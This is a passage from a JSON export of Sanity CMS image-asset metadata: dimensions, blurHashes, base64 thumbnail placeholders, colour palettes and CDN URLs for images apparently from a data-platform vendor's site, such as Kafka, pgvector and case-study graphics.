adId":"ictaNlDyOqAssRWi3hu7LSfVYyQIOmWE","url":"https://cdn.sanity.io/images/sczeoy4w/production/61317ae978acd8d84f3b00230d02a0dd1d436309-2500x1308.png"} {"_createdAt":"2024-08-05T08:47:59Z","_id":"image-61367cfc258274b27245f976eef437682300f241-596x306-png","_rev":"m47zVAKzspt7UjVx7z5kDR","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:47:59Z","assetId":"61367cfc258274b27245f976eef437682300f241","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBSija--D*%M-o~o4pxsoJM}nQ?GM|Rjoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9477124183006536,"height":306,"width":596},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABN0lEQVQokY2RTUsDMRCG8//P4kk8CIIgIogHQTz5AxQURGnxs3bb3U02XzvJJDORbS0WscWX5zTDA8M7AgDquplMPqfTqq5rAGDmsjXMnHNmZhEgtK2sqlk1mzdNAxD+IxPRICOidd5Y63zve4iY8mJDXLj8DXEZ1FIERJTaSW2NB+1AezB98DGFzJG2kbkIwNRoN1em6WytzEzqurOdhz4REEPeSCIWIaLStlVaadtpp7RdXNGHlBOX39DgLCEuIoQgpWoaqbVxzjvnrXV936eUv+sZGhogKikzJsJEi7KLyDkDBICAEdMqy08sZSKOSCHkVsXHkb25U7f33ejFWZ/E+gPWsxoWRDIGWxkfnszR6fvO3mh3f3x28fkxhR95UxDZ2qQ6HD/b88vpwfHr4cnb1fW8qsMXEypCOFIif/oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c34a4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3644bc","foreground":"#fff","population":1.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abd9d5","foreground":"#000","population":0.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545eac","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3644bc","foreground":"#fff","population":1.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-create-topic.png","path":"images/sczeoy4w/production/61367cfc258274b27245f976eef437682300f241-596x306.png","sha1hash":"61367cfc258274b27245f976eef437682300f241","size":5870,"uploadId":"XvgBWRdVGPV2yOYOdmplwBiU3xsv3eXH","url":"https://cdn.sanity.io/images/sczeoy4w/production/61367cfc258274b27245f976eef437682300f241-596x306.png"} {"_createdAt":"2023-09-11T13:01:06Z","_id":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_rev":"Dk4vsGyYpr9Xi9g7r0AzWl","_type":"sanity.imageAsset","_updatedAt":"2023-09-11T13:01:06Z","assetId":"613f816fe5e6f86577f52332f25e0f820e47b79b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM}Z.zf$=KiJ}Yjbf6j[f6hfaKf*jFcX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABoElEQVQokY3SS2tTURSG4bV3UKwgKAZF7GkNKCKdiHVisfoHnJiapuktCaImTc7JpSZpvRA0QZxYUPTvfq/sY2NPO9HBGuzJw8ta2yga6awZlAzKBpsG2wa7BnWDlwavDDUM7RlqG0oM9QztGxoYDA1Ghv0FixmwkgFrJyBvDJoGbYPEoGuwbzADhwF8Huo8lM/DxjmoeNjysOOh5qHuUlChsJlD7RyKPep61PforUPDMNnCWh4GD6C/BM2bkCxCrwD9BZRcg8YF1LqIDiM0vo3Gt9CnApoU0HQBTW6gj5fQyAXQQesOfFuHr8/gcBnGj2D6BCYr6N09SK6gXh5N76OjVXS0gr4/Rj+fol+r6MdD9GUeHeSOC6tXobsEnbt/CuMIuqEyQnEeGnOoNYcG19H7CH2YR+MIfV5E0zDhfRkdeExFQ2sOlXKo7FHFoy2HdhyqOlR3aLbDhkMth2KHOg713ckOR2FmRwkTSl/8x5X3/nHltDCtNFQytGFo09C2oV1DdcsUZv5h5/Q/DFdOC0+B62fAagZ8nQHjM+AxFsDf13roualwZKQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bda88d","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabb72","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87b58","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SEO Image Aiven x eFishery.png","path":"images/sczeoy4w/production/613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628.png","sha1hash":"613f816fe5e6f86577f52332f25e0f820e47b79b","size":35343,"uploadId":"vTFTmb8iICG32KE9CiOapZzrvPR8dJ81","url":"https://cdn.sanity.io/images/sczeoy4w/production/613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628.png"} {"_createdAt":"2024-03-08T07:50:24Z","_id":"image-6144809ae2ab7fcafb9f2a28330b164b299deee4-3200x376-png","_rev":"zTx0EUw0vMrj4JXNbqqXCg","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:50:24Z","assetId":"6144809ae2ab7fcafb9f2a28330b164b299deee4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4F8z.GD%4n~qt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.51063829787234,"height":376,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAeElEQVQImU2MOwoCMQAFt1jFHyJssR+dh0TURuzS5AA5Qm6QS+QEqXKFvaoEUvhgeEwzHTABM3AFbsDSfJI0S6o/hBCGUsp9XddXztk4557AF/gAb+ABjJ2kI3D6o3rl0NhL2lpr+xhjn1LaeO93xpixReoG4AKcfyLgGNyaiJ9fAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-example.png","path":"images/sczeoy4w/production/6144809ae2ab7fcafb9f2a28330b164b299deee4-3200x376.png","sha1hash":"6144809ae2ab7fcafb9f2a28330b164b299deee4","size":181940,"uploadId":"q7zQ6J22AM1pD62XkHcOKstTt2xc6Lwx","url":"https://cdn.sanity.io/images/sczeoy4w/production/6144809ae2ab7fcafb9f2a28330b164b299deee4-3200x376.png"} {"_createdAt":"2022-06-30T20:11:09Z","_id":"image-6163265083f4f28bfe1fdee3ec67235694624335-1416x840-png","_rev":"QRl2cGoCgj0FlAhkRriTEC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:02Z","assetId":"6163265083f4f28bfe1fdee3ec67235694624335","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2RC_I~pS,^%D+004?^wET-h00?79c?DW[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6857142857142857,"height":840,"width":1416},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAB20lEQVQokXWSS5MSMRRG+///AvdugAEVdVbuXLqFGUABxypL6XTeb7qZ+qyb7kbGKhencvM6uTdJtZxOMFvMMJnfYTKb37DAbP4Ob5YfsXx/j+WH+9Iu3i4xvVu8WDultXc91Wq9w2qzx3p7wGpzwHqA4tXmiIfddzwOUPywPb5Ys94c8Lg74uv+CfvDEyomHISOUDZfkSaBK49G2B454sAHhPJQNkK7DOszQjwjxjMqLgyMjQixRUxdgSa1ceBCouESUhoo7crYiLWhrEu5RcrdQNsLrUtFNE7E1MK5CK0tlDJlsw8ZIZx7Ys/tnkSkDlXDNbQJ1wxTvpSWBCS1Lvay2F5FhX/lse2FrKGyNJT2cD4PJbcw1kMIBS4UlLKlP2YslS5QrJQp484FxJR74anmqJks0j6TtkhOJ4bfpxqc05yBEBKs4WCsGeClz7mAMRYxZipZ4VQL1ExAKgc/lEEXX7MGdc0gJV2LLRk3JBxoBplSGt4H5Dy8MmsUSExCuk+6t2vJXJSSrPMlSylVGScopoO8j4iJHqlFRQIqlaB4FDqfYAyNufI4PiRYF8pBBePL6xuX8Eu02P68YPWjQzX+vf/z93/eEuhHpA7Kdvjy7YLXn5/x6tMz/gDDEYEcBTs0hwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#495c41","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e7629","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acbec9","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbec9","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#70bcfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#809a5e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c74f4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6163265083f4f28bfe1fdee3ec67235694624335-1416x840.png","path":"images/sczeoy4w/production/6163265083f4f28bfe1fdee3ec67235694624335-1416x840.png","sha1hash":"6163265083f4f28bfe1fdee3ec67235694624335","size":218529,"uploadId":"8irGI2PLgveD8PQb3aKjOYXR5cvgs3Qw","url":"https://cdn.sanity.io/images/sczeoy4w/production/6163265083f4f28bfe1fdee3ec67235694624335-1416x840.png"} {"_createdAt":"2022-06-30T20:11:14Z","_id":"image-617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141-png","_rev":"QRl2cGoCgj0FlAhkRriTYQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:06Z","assetId":"617ef879a1fa5d8c4c9a1277b1d83666a4f40954","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2SPX|ESIo~UVq00WTD*D*WA00RiD*IVoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7519719544259422,"height":1141,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABpklEQVQokV1Sa3PTMBD0//9nfIApdGhpifNy2gItJLbeOskLe3JKWs/snCTfrXZ11326vsHVl6+4ub1D32/RbwZ8Xx+w2hyw3R2w3z9gGB4xHB6x2w3o+w1WqxXu7nt8vN7iw+c9vt1vsV5vFN3D0y88/fiJ5+cXnE4jTqPDy9HjOAYY62GthXOMDs45OGNgxxHWWIwm4GQinI/wPmhO9/tIklGTY4wIMcH6hBAFMSaEEJbziJQSMqN3KCKY8f+b5xkigu7PycIYq8lSCmISWJ8RkiBnIr+CBbpmrghqrah1VjKu+a8bjVdLLWFGygXWC2IqrwSMRCkFmWfLnheWUi4IBZ0PESFELSylLgoTfMhqn3YvVXJPpNTWQuuXhPyhdvXWghAzJkcUuCBaeFYo75QRtda3hFRBhY20vaFxbIyoShJSGZujTVmUnonmBXwubcpbywUpC1zIqo6g4rPVy/d8T0iwvuMMcTyaharjMjmiYPIFPrI5rUEtNqvnfCprqLrvJnbZNzu0533ExIH2CU6b0855aUycz6iRe56TREpt3f/3hn8BbXJWgg1HjvoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65623f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#123771","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5089e2","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b0cc","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dbffa","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a7dad","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5089e2","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141.png","path":"images/sczeoy4w/production/617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141.png","sha1hash":"617ef879a1fa5d8c4c9a1277b1d83666a4f40954","size":265390,"uploadId":"tGz9IkNYtQkPrS9gqXso3nlF1zrAPjTB","url":"https://cdn.sanity.io/images/sczeoy4w/production/617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141.png"} {"_createdAt":"2022-06-30T19:56:09Z","_id":"image-61842aad6b7356c9fd4de7a12b8ad29623255bfc-1200x742-png","_rev":"CK1sLU2mnwa3vmbYWEaru2","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:33Z","assetId":"61842aad6b7356c9fd4de7a12b8ad29623255bfc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVPGsw}=-@B;yV-=S5NEwIr@?vI[Rh#la1V?nixbS#SL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6172506738544474,"height":742,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWUlEQVQokUWSTWsTQRjH8xnUD+HNQg826hcQXwuCPQgeRKRKbxUVvXhQ7HsRVFoR20ptG6G1G4VaTFL6RqIGW7ttGpMmaZJN9m12Zp7Zmd3Ei+xuUPgzzOXH7//MMyHm/CG2oyGiaMiPWdOQFx3VdEvRUFUz/Tuq1I2Kaii6pVmAmQOiGfJh1yTMwMwgtkFskzDTO/8HEVuzQC6jRKYe31O3DpGKOeWuB1PesEBgEJhgrJexVsCGgglFwHUKGgUErIJYJK3cmZNvvt8ZWyvlVADeCIFoEtvFzMHASPknJF9A4jGkJ1Etm9EOlwupaG4tWZX36vrzRPHMSKq9f/OhlJUVCqIRQpR7WuYQgqm8wGfO8VfH+cJ1Lbci/V7pSTy9tnRvKD25XsqNxosdg8kTzzbuf8zuVH1YQ9QktgUOxhbdmuFvw3z4CJ+9VM8sTcnSRel2ONJ1d20gdiCPxArhwWSbB+//qhDKGyHVJCZmnjyAJ07x4WNi7nIAX5C6w5Gu3tWBWN6DOwLzogd7M/tajplDqQXbs3zidACr+1/eydF/5vjB7mi8GB5KtvVtPFgMajdDIBrEdi1vZgtatY+KuaB29LzU3RG52rva79WOF062zNmdqm8OVtV6sF2JRa6w1+22dEvNrc7vf72x/Kgz2vMkNbZeyr7ZKHeOp8++/N63nM/UALj/SQLYW5WSwVsfUHKcyJ9MtbBdy89nYtPy50TxR97QvhXQdKo8tVlayeoK4i0ziCaIJhUNsAWhGBOTAKG2wLYwAHSgFrMpdy3m6kRohCPmUu4hfwE2QEfS+ktefAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c8454","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c9444","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f38c13","foreground":"#000","population":8.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca49c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc5b","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6793af","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38c13","foreground":"#000","population":8.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"61842aad6b7356c9fd4de7a12b8ad29623255bfc-1200x742.png","path":"images/sczeoy4w/production/61842aad6b7356c9fd4de7a12b8ad29623255bfc-1200x742.png","sha1hash":"61842aad6b7356c9fd4de7a12b8ad29623255bfc","size":15197,"uploadId":"kx91DpYPkhqGQddSbzc9EqiPRFvHHywm","url":"https://cdn.sanity.io/images/sczeoy4w/production/61842aad6b7356c9fd4de7a12b8ad29623255bfc-1200x742.png"} {"_createdAt":"2024-11-18T09:26:42Z","_id":"image-1015f0c7f242edb1819f1f511b07f94a57598351-1216x1216-png","_rev":"h4ancfFTuSnQNBSq3FWFZU","_type":"sanity.imageAsset","_updatedAt":"2024-11-18T09:26:42Z","assetId":"1015f0c7f242edb1819f1f511b07f94a57598351","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUNdkDWA~oxvWCocV@bIt7ay_1bI9HW9kCWFayodRjt6M|WBoet7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1216,"width":1216},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD3ElEQVR4nH2U7U9bZRjG+VfMvphogh802YxfFjNNFsMSY7JgFL/MzXeNoDE4N9A4IwPNFoObuCmZ0zkJc4pOGON1470F2p729OW0PacvtNBS+koLbX/meQ4L4Igfrpzk5Jzfc1/3fT9XjRGjqoU2sLszWB1JrI5V5hVT1i3NKykWnGssOFM4PBl8RgkjVsWIsVNVI0alRl+qovrXuTe7xO1RP4NjAe6MB6XGpkJMzceZsyWw2E0tulJ49SL6UgXxr75LVGv0WBV3oMjs4grj0xHuzkTkU2h6YRmbmkLxZnD6sji1LC4tiye4jhYq4Q9vSrCoUACD0So1+hJ49Q1sahqLIyntCUnrzpQE2t1pHB5TNnVNtsel5fEZRYLRMqG4aVuwJFALlVH9BRRfFsWXw+nL4dJyODxZLI5VZhaTWBxpbO4cijeH6hewkoQZsYoECo4Ebpdblic6NRO44EpzayjCxW6Fc10KV3tjDIznmbWV8ASF1Sqh+LYeAIqp+cMbsrJJa4KuKwrH3u3n6SPXOHz0TxpPq3zdtUp3T4ahiSKqv0wgvCn/CUbNA/4DFH2oSMs/XlN54ZXfeWT/d+yr7WT/oV95tdHO6fZlPj+f5MJPawzeK2BT8yjeLO5AgUDEnPouoCh9fDbJe80j1D51iYdqv2HfY50ceOY6xxsdEtj6VUJCu3vSTC0U8ASLiD0WE94FFLBApMzN/hgNbwzz+MGfefTADzz8xPc8+WwPJ5q2gULnL6cYmSoSiFb27qF46Qtt8ltfnBONVp6rH+HQ8/0crOvjyEt3eLtZ5dRZE9jSkaD9wir/jK6jhfeYsvAvB+Jfp+evZd5pVjh6zEL98Tle+2CBj844aWr18H6LwSdty7R2rNBxcZX+sT2AojottClXxe7Ocms4QfMZNw1vzkvwuUs6l69H+PAzlRdft/FWc4BTZ+N0dqe4O1ciKN3tUaHP2JCyOPJ0XQ1z8kuPhN24vULvwAon21QO109S12Cl6VOdX25msHvKGDtuyQNrI07yhytMzuf4YzBB33CSgYkUfSNJ2r7VqHt5UkJb2jVGp/MEImZ1/wsUCkQ2cXgLTNmyjM2lGZpe48qNKB9/odLa7qb37xg2d16GgxHbw/JeQNHTeecaViXDorvAnL3A2EyGCYt4l5YLLWLMkHd5x9roWz0UCkZNiV6KNBFQEVViP+9nnrjzYpE1kTR6gaBRIBAWQbF1U0Qoiil79dIDEpbuf2hsh6i5t5ENDO8qHlccpzcl81GPVqo1+lKlEohUqv5wmZ0yK94J2S0jsomhpfF6kri1rGhTJRRj41+lum93LBzNNgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23284a","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141b75","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#838ceb","foreground":"#fff","population":8.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb3b1","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#838ceb","foreground":"#fff","population":8.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545496","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3544bf","foreground":"#fff","population":1.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Gatepoint Research of 100 executives.png","path":"images/sczeoy4w/production/1015f0c7f242edb1819f1f511b07f94a57598351-1216x1216.png","sha1hash":"1015f0c7f242edb1819f1f511b07f94a57598351","size":47970,"uploadId":"DRfkXeaUHZ7sKi7hE3iLLZbFERCDPgQO","url":"https://cdn.sanity.io/images/sczeoy4w/production/1015f0c7f242edb1819f1f511b07f94a57598351-1216x1216.png"} {"_createdAt":"2022-09-30T15:36:35Z","_id":"image-619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292-png","_rev":"vDQRRYe9nRreptIRp66hUx","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:27Z","assetId":"619fbde9a001618f26b3278d25651fb92e1d2b32","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D1RMe=~X?c_4NI00i^00xWM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.588235294117647,"height":1292,"width":3344},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABKUlEQVQYlXWPy07DMBBF8/9/UJSWNqiVeAn+B2iSlgVtEz/GM2OP3QWapgtAwjqyrCuf8XU13zyvH18fnl7W6/vF8m5x2/zH/Lap581NvZrVq9m8qZeb6m3bt92+3322/X7b9V23+0Or4TVvu75t+7brP9rde7evjAUAJE4UhaOkJCJ5YlpJJEmWfA1FzyWXIuVcHQfrAKOaGSkCIAQMSESRY4oxETPSLyjqEzmXyliPFHM+ixSk6DxYBx5CwMs94oAEgQAIkAJxICZWuZRS+UtnyUVlZOtUdh4cBA/oAZ2fCBBQCxFz1L+p7Dx4oJRykhwCGesnBuNOxg0/MNoIdAQyM8eYqtF664CjxCTO42D8aXTH0R0G83Uyh8EedFeOo44YLTinjSDQN8FpsWh99mzTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c3d","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#155976","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c3d","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbccc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657c89","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#307494","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292.png","path":"images/sczeoy4w/production/619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292.png","sha1hash":"619fbde9a001618f26b3278d25651fb92e1d2b32","size":175113,"uploadId":"12UhOLF5CfpvSbebyy8jborf5QjZIZvO","url":"https://cdn.sanity.io/images/sczeoy4w/production/619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292.png"} {"_createdAt":"2024-05-08T12:49:32Z","_id":"image-61b4d7b153d6822a3f259b91ee7c77f3fa56b22b-3022x1050-png","_rev":"6IjwK8t2YScx5mkOZiYoNw","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:32Z","assetId":"61b4d7b153d6822a3f259b91ee7c77f3fa56b22b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D35E:I%2?ds8xt-?Vr%NVrso","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8780952380952383,"height":1050,"width":3022},"exif":{"PixelXDimension":3022,"PixelYDimension":1050,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABIElEQVQokY2RyW7CQBBE/RuB4G1mPIvNeMFmsTBkQyK55P+/5kUelEOkEOXwLq1WdXVVZMwaU3YUtkWoNVnuyHJLmpnAKlYsljkPi+wny4xVolG2xfodVTvR7T6IxqbmMIw0/SvanVF6wLgO61q08UH0V8FFRipK/HCmn94D3Xgluo57Lk9vHKZPSn+l0Hts2eFm19oHt3FSECeKOFbB8TepcOiyx9V7zHqHsh3R6fjMdLrQbV+QeiCXPghWfsCVG4xrMbZGmxl/Q9+YD+owr5GqCoejpj/i2zG8mYbsLGpetA2FaZDFGiFLcuH+ZI7mcSWJ6vaAqwaUbshFRTqXIm7FxKkOS3OG/yXqtydmUeM2yKIml1VwJIQjSYu7hdzjC0HQy+xC6autAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3c45","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67290f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d9dba","foreground":"#000","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d9dba","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cce7f9","foreground":"#000","population":0.38,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b2785c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c25422","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-code-editor-space.png","path":"images/sczeoy4w/production/61b4d7b153d6822a3f259b91ee7c77f3fa56b22b-3022x1050.png","sha1hash":"61b4d7b153d6822a3f259b91ee7c77f3fa56b22b","size":303802,"uploadId":"TprJRG5rgqx3w1adFQJswgSidDG8jCuu","url":"https://cdn.sanity.io/images/sczeoy4w/production/61b4d7b153d6822a3f259b91ee7c77f3fa56b22b-3022x1050.png"} 